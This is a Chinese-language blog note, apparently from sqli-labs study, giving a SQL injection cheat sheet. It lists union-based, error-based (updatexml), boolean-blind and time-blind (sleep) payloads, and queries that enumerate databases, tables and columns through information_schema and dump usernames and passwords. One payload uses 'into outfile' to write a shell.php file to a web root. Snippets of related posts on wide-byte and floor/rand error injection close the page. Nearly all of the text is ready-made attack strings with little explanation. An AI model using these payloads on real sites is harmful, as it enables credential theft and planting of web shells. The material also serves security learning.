SQL注入

2022-09-03 01:30:14 字數 3429 閱讀 9871

union聯合查詢注入大致步驟:

1.判斷列數 -- 通過 order by n;

2.判斷顯示位 -- id =-1 union select 1,2,3挨著試

報錯注入

1.報錯注入就是構造讓資訊通過錯誤提示回顯出來,

前提:頁面上沒有顯示位,但是需要執行sql語句輸出錯誤資訊

基於布林型別的注入

頁面上不需要顯示位,也沒有輸出錯誤資訊,只能通過頁面返回是否正常

時間注入

原理:正確的sql語句和錯誤的sql語句返回的時間不一樣,依此來判斷查詢結果的正確性,但是要耗費大量時間。

%23  注釋掉      - - +也是

id title content time author

select * from new where id=1?

select 聯合查詢union

order by 排序 先知道有幾列 在聯合查詢

version 版本號

前後兩個語句都對就顯示id了,把不要查的報錯後面的版本資訊就出來了id=-1 union select 1,2 ,version()

查詢資料庫中所有的庫名

id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata 所有的庫名

id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' 表名

schemate     儲存所有資料庫的名字 tables       儲存所有的表的名字 column      儲存所有的字段的名字

id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'爆 列名

schemata

庫名.表名

union select 1,2,group_concat(schema_name) from information_schema.schemata

、、查詢所有的表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()

查詢當前庫中某乙個表的所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'

group_concat schema.schemata schema_name

查字段的內容union select 1,group_concat(username),group_concat(password) from security.users 或者 union select 1,2,group_concat(username, '-',password) from users

查詢所有的咧 select column_name from

報錯查詢') union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

id=') union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

select ascii(substr(database(),1,1)) = 127                 substr 擷取字串函式

先報錯

select ascii(substr(database(),1,1)) =                               id=1' and ascii(substr(database(),1,1)) > 64 %23 求資料庫名的首字母

求使用者名稱的長度 id=1' and (select length (user())=14)--+                     length 求長度的函式

'and ength(current_user())%23

求當前使用者名稱的函式current_user() 時間盲注 select if(length(current_user())=14,sleep(2),1);

時間注入: if(payload,sleep(3),1)

即payload正確時,程式暫停3秒。否則立刻執行

?id=1" and sleep(5) %23 時間判斷是什麼語句

if()語句

id=1" and if(ascii(substr(database(),1,1)) = 115, sleep(2),1) %查詢當前資料庫使用者名稱的首字母

?id=1')) union select 1,2,3 into outfile 'c:\\www\\shell.php' %23 寫入檔案

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...